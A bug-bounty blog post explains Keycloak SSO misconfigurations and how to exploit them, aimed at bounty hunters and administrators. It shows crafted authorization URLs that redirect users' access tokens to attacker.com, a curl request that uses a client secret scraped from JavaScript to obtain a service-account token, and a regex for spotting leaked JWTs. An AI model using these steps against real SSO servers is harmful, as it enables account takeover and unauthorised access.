Since Single-Sign-On is the new cool kid on the block, more and more companies migrate from legacy authentication systems to SSO providers.
The product I´ve seen the most is Keycloak or its RedHat equivalent RedHatSSO.
They are the same product, RedHatSSO just enjoys enhanced support from Red Hat.
A lot of these newly created SSO constructs are flawed in their implementation and architecture. Despite the implementation and best practice guides provided by the community and server maintainers, I found multiple systems with insecure configurations which let to a partial or full compromise of the SSO server.
Since SSO servers are usually a critical part of the infrastructure, bugs in these systems are extremely valuable and lead to better bounties.
To verify any potential vulnerability I suggest anyone set up a local instance of the SSO server.
The examples I show in this article are based on the Keycloak Authentication Server. Luckily a Keycloak server is really easy to set up.

Setting up Keycloak

To start grab the latest version of Keycloak at https://www.keycloak.org/downloads, at the time of writing the latest version is 11.0.2.
After downloading and extracting the archive switch to the bin folder.
Among many other help and administration scripts, you will also find the startup scripts:

  • standalone.bat - Windows
  • standalone.ps1 - Windows
  • standalone.sh - Linux

Just pick the script according to your operating system and startup your server.
After a few seconds, the startup process has finished and your Keycloak server is ready to use.
First, thing to do is to create a new admin user to do this open  http://127.0.0.1:8080 with your favorite browser.

Create admin user

Now choose a username and password for your new admin account and login.
You are now greeted with the configuration page of the master realm.
At this point the setup is complete.
Before we start setting up an SSO Realm we should clarify a few basics and definitions.

Single Sign On - SSO (in a nutshell)

In this article we will take a look at the OAuth2 protocol for SSO, another popular protocol that is frequently used is SAML. You can find additional information on SAML here.
Here´s the definition from Wikipedia that describes the core concept of SSO pretty well.

Single sign-on (SSO) is an authentication scheme that allows a user to log in with a single ID and password to any of several related, yet independent, software systems
- Wikipedia

To be able to share logins with other applications a trusted third party is introduced, that will handle the user authentication process. This trusted third party is called Authorization Server. In some documentations the Authorization Server is also called Identity Provider (IdP), for this article, I will stick to Authorization Server.
The Authorization Server will handle all authorization and authentication duty of a given realm. For our example, we use Keycloak as Authorization Server.

Besides the authorization server, there are resource servers that provide web services like REST or SOAP services.
These Ressource Servers use the SSO system to secure their services against unauthorized access.

The last component you need to know to understand an SSO architecture are the clients.
Clients are systems that access services of the Ressource Servers on behalf of an authenticated user. Clients can be different applications or browsers. To impersonate a user a client has to authenticate itself.

A user is identified by using some sort of username in combination with a password. The clients are identified by  client id and a client secret.

Depending on the use case and available communication channels there are different methods to authenticate that are called grant types.
For example, a pure javascript client that is run solely in the browser of a user is not able to hide any communication from the user and thus uses a different grant type than for example a PHP application that can to hide communication from the user.

A typical oauth2 login flow can be seen below.

oauth2 standard flow

The shown diagram shows the standard flow also called authorization code flow.
It is the grant type with the most steps involved, if you understand this flow the other flows will be a piece of cake.
Let us go through the different steps.

  1. A user is accessing an application that is part of the SSO realm.
  2. Since the user is not authorized the client application is redirecting the user to the authorization server. When sending the user to the authentication server the client appends a redirect url which is used to redirect the user back to the client application after he has successfully authenticated. This url has to be validated by the authorization server.
  3. The  user enters his username and password.
  4. After successful authentication the user is redirected back to the client application together with an authorization code, hence the name authorization code flow.
    The code is appended to the redirect url back to the client application, for example:
    https://clientApplication.com/somepath/?code=123-465-789
  5. After the user has authenticated it is now on the client application to provide authentication. To do this the application is sending its client id, client secret, and the received authorization code to the authorization server.
    This is (normally) happening over a server-side POST request and is hidden from the user. The main security feature here is to keep client id and client secret hidden from another than the client application and the authorization server.
  6. After the client has sent its authentication the authorization server will respond with an access token and a refresh token and the authorization handshake is complete.
  7. The acquired access token can now be used to access different resources servers on behalf of the user. The token is mostly sent as Authorization header together with the request.
  8. When a resource server is receiving a request with an access token, the resource server can use the authorization server to validate the token.

Additional information about the other flows and a more in-depth view can be found here.

From the flow above we can see some security takeaways that will aid in the process of exploiting misconfigured servers and applications:

  • Whoever has a (valid) access token is authenticated and trusted.
  • Client id and secret have to be kept secret. (Most of the time)
  • Clients need an authorization code for the user that is to be impersonated.
  • There are different grant types based on the communication channels available. We will come back to the other flows when discussing possible attack vectors.
  • The authorization server has to validate the redirect url from the client application.

Client configuration

Bevor setting up our test client we have to create a new realm.
To do this just hover your mouse over the top right corner of the admin interface and click Add realm.

Add new realm

To create a new client and edit existing ones click on Clients in the right navigation bar. You will see some pre-configured clients that are used by Keycloak itself.
To create a new client click Create in the top left corner.
Pick a Client ID and click Save, your new client is created.
Now you are greeted with the configuration page of the newly created client.

Client configuration

The specific client configuration depends on the type of client you are creating. As mentioned above a pure Javascript client will have a different configuration that for example a serverside run PHP client.
Let's have a look at the key elements responsible for the secure configuration of a client.

Access Type

There are three different options to choose the access type from

  • public
    Choose public if your client can not hide a secret from the user and other parties.
    This is usually used for browser-side clients i.e. javascript clients
  • confidential
    If your client can keep its secret hidden from others then your access type should be confidential.
  • bearer only
    This is used for clients that never initialize a login. We do not look any further at bearer only clients, since they hardly play any role in our attacks.

The chosen access type will determine which grant type your client is allowed to use and thus playing a big role in a secure configuration.

Grant types

In the following section you can configure the grant types the client is allowed to use.

Grant types

Depending on the chosen access type there will be different grant types available.
By choosing the confidential access type a client will have all grant types to choose from.

Redirect URIs

The last section of the configuration covers the valid redirect urls.

Here you can configure the trusted urls for the redirection after a user has successfully authenticated.
The valid redirect urls can be expressed by using regex.

Access tokens

Openid-connect uses jwt as access tokens. These tokens are base64 encoded json strings holding information about the logged in user. One key part of a jwt is that it is cryptographically signed.
Besides carrying the expiration date it hold all informations regarding the authenticated user including assigned roles that are used by the resource server to determine the access permissions of the user.
If you want to know more about jwts take a look here.

Lets exploit things

Enough talking lets get to the fun part.

Open redirect to account takeover

If you are involved in bug bounty or security in general, chances are high you already heard this one. Nevertheless, it is a vulnerability often found in the wild.

The vulnerability is based on the ability of the attacker to trigger a redirect to a site controlled by the attacker.
In the case of a javascript client and a misconfigured client configuration, this vulnerability is especially severe and easy to find.
The clue in this attack is that a lot of javascript clients are allowed to use the implicit flow. This directly issues an access token and appends it to the redirect back to the client. If an attacker is able to manipulate the redirect target he is able to directly receive a valid access token.
A vulnerable configuration can be seen below.

Misconfigured public client

If we take a look at the configuration above the most severe misconfiguration is the Valid Redirect URIs.
The asterisks will allow redirects to all urls and create an open redirect vulnerability. Enabling the implicit flow will make exploiting this even easier. Exploiting this without the implicit flow enabled is still no problem but its a bit more complex.

To find this vulnerability lets have a look at a normal Keycloak login url.

http://127.0.0.1:8080/auth/realms/testrealm/protocol/openid-connect/auth?client_id=testClient&redirect_uri=https://legitUrl.com&response_type=code&scope=openid

The only mandatory part for this to work is the open redirect.
To detect the vulnerability try changing redirect_uri to a different domain i.e. attacker.com.

http://127.0.0.1:8080/auth/realms/testrealm/protocol/openid-connect/auth?client_id=testClient&redirect_uri=https://attacker.com&response_type=code&scope=openid

If you see a login prompt attacker.com was deemed a valid redirect url and the attack is possible.
To directly receive an access token instead of an authorization code try changing the response_type to token. This will make use of the implicit flow.
On newer Keycloak versions you will have to provide a random nonce for this to work.
A url using the open redirect to send a fresh access token to attacker.com can be seen below.

http://127.0.0.1:8080/auth/realms/testrealm/protocol/openid-connect/auth?client_id=testClient&redirect_uri=https://attacker.com&response_type=token&scope=openid&nonce=42

After logging in the user will get send to attacker.com along with the fresh access token.

https://attacker.com/#session_state=0f811cef-130a-4be5-8d32-a9a1938d5d7a&access_token=eyJhbGciOiJSUzI1NiIsInR5cCIgOiAiSldUIiwia2lkIiA6ICJVRW8wQm9aelVsTy03LXRwWE4zNzB4bzdKUUJnYWxqT1NtTEF0cHpmQUQ0In0.eyJleHAiOjE2MDEyNDE1OTksImlhdCI6MTYwMTI0MDY5OSwiYXV0aF90aW1lIjoxNjAxMjQwNjk5LCJqdGkiOiJiMWIxYzQ5MS1lYzk0LTQ3OTYtYmE2OS0zZjk0ZWI3MTNhZDAiLCJpc3MiOiJodHRwOi8vMTI3LjAuMC4xOjgwODAvYXV0aC9yZWFsbXMvdGVzdHJlYWxtIiwiYXVkIjoiYWNjb3VudCIsInN1YiI6IjkyZTk0NmUzLTAwYjAtNDFmMi04ZDM1LWE1NTU1ZjRkYzQxMyIsInR5cCI6IkJlYXJlciIsImF6cCI6InRlc3RDbGllbnQiLCJub25jZSI6IjQyIiwic2Vzc2lvbl9zdGF0ZSI6IjBmODExY2VmLTEzMGEtNGJlNS04ZDMyLWE5YTE5MzhkNWQ3YSIsImFjciI6IjEiLCJyZWFsbV9hY2Nlc3MiOnsicm9sZXMiOlsib2ZmbGluZV9hY2Nlc3MiLCJ1bWFfYXV0aG9yaXphdGlvbiJdfSwicmVzb3VyY2VfYWNjZXNzIjp7ImFjY291bnQiOnsicm9sZXMiOlsibWFuYWdlLWFjY291bnQiLCJtYW5hZ2UtYWNjb3VudC1saW5rcyIsInZpZXctcHJvZmlsZSJdfX0sInNjb3BlIjoib3BlbmlkIHByb2ZpbGUgZW1haWwiLCJlbWFpbF92ZXJpZmllZCI6ZmFsc2UsInByZWZlcnJlZF91c2VybmFtZSI6InRlc3R1c2VyIn0.iCi77zsqYegprg8Q1pCmFEzfIZvN8XCysZJFc_xqRiuhdPohck7hOPR4lWC_84y4vS5ZCNfGaQZDEJHOtlNgGSi-pCIDxoJXkPLRA9VTmfjbFmlqrmp0Osg8F4iLwqjdc4iJEoXEsRw2ybnNF2ql0uHVofuu1N5soKkHIYAF3QeiGc05pCnRROu98Hj1CoPmvBenQxSYq_SK9Kciurga9S8bQfdPly9iL2I7Wi-OikkBw8UQa2fnBR5etTn1QbmchKSq5ZxOylS6Q4UrL1cWf5NeoawaC0_y_93p6PYf7L9Cm7rkNhxOuGHofIzDnsDFSzOfeo4t9G3E3gf4JDmTZA&token_type=bearer&expires_in=900

With this access token, the attacker is now able to impersonate the user and even logging into his keycloak profile.

Bonus


If the valid redirect urls are configured properly, but you have found an open redirect that preserves the parameters on a trusted domain you can change this low rated open redirect to a critically rated account takeover chaining the attack above with the open redirect.

Public client with enabled service account

This vulnerability is based on misconfigured access and grant types.
If a public client i.e. javascript is configured like an internal confidential client and has the Client Credentials grant type enabled it is possible to receive an access token without any user logging in.

The Client Credentials grant type was designed for clients that authenticate themselves  on their own behalf. This is used for backend or job servers where no user is present.
Additional information for this grant type can be found here.

A vulnerable configuration can be seen below.

Enabled client credential grant type

For this to work the javascript client has to be configured with a confidential access type and service accounts have to be enabled.

Since the client is a javascript client we can check all its source code for the client_id and client_secret.
Once found we can use the credentials to receive an access token on behalf of the client.
Use the curl command below to request a new access token.

curl "http://127.0.0.1:8080/auth/realms/testrealm/protocol/openid-connect/token" -d "client_id=testClient&client_secret=c13f5757-d925-471b-9c75ec94b513210a&grant_type=client_credentials"

The server will respond with an access token if the attack was successfull

{"access_token":"eyJhbGciOiJSUzI1NiIsInR5cCIgOiAiSldUIiwia2lkIiA6ICJVRW8wQm9aelVsTy03LXRwWE4zNzB4bzdKUUJnYWxqT1NtTEF0cHpmQUQ0In0.eyJleHAiOjE2MDEyNDI5MjEsImlhdCI6MTYwMTI0MjYyMSwianRpIjoiMTliYzRjYjAtYTI3NC00YThmLThkNjYtOGViN2NlNGZhZjQzIiwiaXNzIjoiaHR0cDovLzEyNy4wLjAuMTo4MDgwL2F1dGgvcmVhbG1zL3Rlc3RyZWFsbSIsImF1ZCI6ImFjY291bnQiLCJzdWIiOiJkZjJkM2MzNS05NGQ5LTQyMDktODA0Yi1jMzRjOWM3YzNjZjQiLCJ0eXAiOiJCZWFyZXIiLCJhenAiOiJ0ZXN0Q2xpZW50Iiwic2Vzc2lvbl9zdGF0ZSI6IjM3MTRmYjY3LTNiMjEtNDYwNC04MjdlLWUwN2UzZWI2M2U1NyIsImFjciI6IjEiLCJyZWFsbV9hY2Nlc3MiOnsicm9sZXMiOlsib2ZmbGluZV9hY2Nlc3MiLCJ1bWFfYXV0aG9yaXphdGlvbiJdfSwicmVzb3VyY2VfYWNjZXNzIjp7ImFjY291bnQiOnsicm9sZXMiOlsibWFuYWdlLWFjY291bnQiLCJtYW5hZ2UtYWNjb3VudC1saW5rcyIsInZpZXctcHJvZmlsZSJdfX0sInNjb3BlIjoicHJvZmlsZSBlbWFpbCIsImNsaWVudEhvc3QiOiIxMjcuMC4wLjEiLCJjbGllbnRJZCI6InRlc3RDbGllbnQiLCJlbWFpbF92ZXJpZmllZCI6ZmFsc2UsInByZWZlcnJlZF91c2VybmFtZSI6InNlcnZpY2UtYWNjb3VudC10ZXN0Y2xpZW50IiwiY2xpZW50QWRkcmVzcyI6IjEyNy4wLjAuMSJ9.IIper0ck7Zc0gtRcLIOtkOPpO8Zaq5sijgmFtX_DZnc3O3_o4EiKLozd3CoHd_-Ip7xH7egbi_UKrL_J-dLHZ-9RsiV8gNq84EF2ygaFHV5r6_gZKCFDLB6NmRgvRRApQ5GtU4XBVnUK3Bn3mkPYQ4HW0RLTRz3wYQi7QdQ2sLDObjwRLLFAVo3cnZRbhrdreczTE3ezNfrPVVOY4odo7tZSzWQjECXkDIO7FO-dj2Ek3rDUERrom41QCyqog4gFY0LscB2X8__nIiR5AujDw4KdEsfXerj1kpv-gSbxabs5AXFGQwiuFe5sK8c8yyRPu_dWjkcZBpmXzGsZyH5VgA","expires_in":300,"refresh_expires_in":1800,"refresh_token":"eyJhbGciOiJIUzI1NiIsInR5cCIgOiAiSldUIiwia2lkIiA6ICJmYjgxNWU0MC1jMGI0LTRlN2ItOGFjOC0xNzI1NGM0NjI0MjMifQ.eyJleHAiOjE2MDEyNDQ0MjEsImlhdCI6MTYwMTI0MjYyMSwianRpIjoiOGJlN2Y1ODktYTNkNi00NTJmLTlhOTEtMDcyNDM4ZjcxNjQ3IiwiaXNzIjoiaHR0cDovLzEyNy4wLjAuMTo4MDgwL2F1dGgvcmVhbG1zL3Rlc3RyZWFsbSIsImF1ZCI6Imh0dHA6Ly8xMjcuMC4wLjE6ODA4MC9hdXRoL3JlYWxtcy90ZXN0cmVhbG0iLCJzdWIiOiJkZjJkM2MzNS05NGQ5LTQyMDktODA0Yi1jMzRjOWM3YzNjZjQiLCJ0eXAiOiJSZWZyZXNoIiwiYXpwIjoidGVzdENsaWVudCIsInNlc3Npb25fc3RhdGUiOiIzNzE0ZmI2Ny0zYjIxLTQ2MDQtODI3ZS1lMDdlM2ViNjNlNTciLCJzY29wZSI6InByb2ZpbGUgZW1haWwifQ.RMrq5jmiRsc_UbgjETDU8qnbFHQDOTarq1LNEeEyD4Y","token_type":"bearer","not-before-policy":0,"session_state":"3714fb67-3b21-4604-827e-e07e3eb63e57","scope":"profile email"}

This token was now issued on behalf of the client and not a user.
Since most companies trust their servers more than their users these tokens often have a lot more permissions than a normal user.

Token leakage

This one is a bit lame but is found quite frequently in the real world.
From time to time I find applications leaking access tokens to an unauthenticated user. This can for example be in the form of cookies or server-side generated javascript.
So whenever you find something that looks like an access token go check the token with the tools mentioned above.
Here´s a regex I use to check my Burp history for potentially leaked access tokens.
ey[A-Za-z0-9-=]+\.ey[A-Za-z0-9-=]+\.?[A-Za-z0-9-_.+/=]*

I hope this article will aid you in your bug bounty hunting and help admins to avoid the mentioned pitfalls and create a more secure web.
Let me know what you think about this article or suggest a topic for the next one.
You can contact me via twitter @S1axXx.

Have a nice day and happy hunting!